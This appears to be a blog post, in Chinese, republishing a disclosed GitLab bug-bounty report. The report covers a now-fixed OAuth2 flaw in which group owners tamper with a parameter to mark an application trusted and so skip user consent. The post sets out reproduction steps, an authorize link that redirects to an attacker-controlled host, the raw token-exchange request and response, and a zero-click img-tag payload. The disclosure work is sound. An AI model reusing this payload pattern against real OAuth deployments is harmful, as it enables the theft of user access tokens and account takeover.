GitLab OAuth2漏洞:未经授权获取用户访问令牌

本文详细分析了GitLab中存在的OAuth2安全漏洞,攻击者可通过篡改群组应用配置,默认获取用户信任,绕过CSRF防护,最终未经授权获取目标用户的API访问令牌,实现对用户数据的非法访问。

GitLab OAuth2漏洞:未经授权获取用户访问令牌

摘要

GitLab群组级别的应用设置存在安全缺陷,允许群组所有者默认创建受用户信任的应用,从而绕过OAuth2授权流程中的CSRF防护机制,攻击者可利用此漏洞获取目标用户的API访问令牌。

漏洞复现步骤

  1. 以用户1身份登录,创建名为“恶意群组”的群组。
  2. 在“设置”>“应用”中创建应用,勾选api范围。
  3. 打开创建的应用并点击“编辑”,在点击“保存应用”时拦截请求,追加以下参数: doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& 这将默认创建受信任的应用,此功能原本仅限实例管理员使用。
  4. 向用户发送以下链接,或将其嵌入img标签: https://gitlab.com/login/oauth/authorize?redirect_uri=http://<攻击者控制>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
  5. 可观察到携带Code的请求。
  6. 使用以下端点获取访问令牌:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [Cookie数据省略]
Upgrade-Insecure-Requests: 1
Content-Length: 223

code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close

access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer

影响

攻击者可获取目标用户api范围的访问权限,后续可能尝试启用更多范围。此漏洞允许未经用户同意获取其代码并生成访问令牌,从而以用户身份执行操作。

当前错误行为

能够未经用户同意获取其代码并生成访问令牌。

预期正确行为

群组所有者不应能在创建应用时默认启用“受信任”选项。

漏洞利用改进

攻击可通过GET请求触发,意味着可将负载嵌入开发者常用的更流行网站中,无需用户点击:

1
2
3
<html>
<img src="https://gitlab.com/login/oauth/authorize?redirect_uri=http://localhost:4444/&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api">
</html>

修复与验证

GitLab安全团队于2021年4月7日推送修复,经验证攻击已无法成功执行。漏洞被标记为“高”严重性,CVSS评分7-8.9,涉及“不当身份验证-通用”弱点。

时间线

  • 2021年4月4日:漏洞报告提交
  • 2021年4月7日:修复推送并验证
  • 2021年4月20日:报告关闭,奖励发放
  • 2025年7月23日:报告公开

此漏洞凸显了OAuth2实现中权限控制和输入验证的重要性,提醒开发者在设计类似功能时需严格遵循安全最佳实践。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计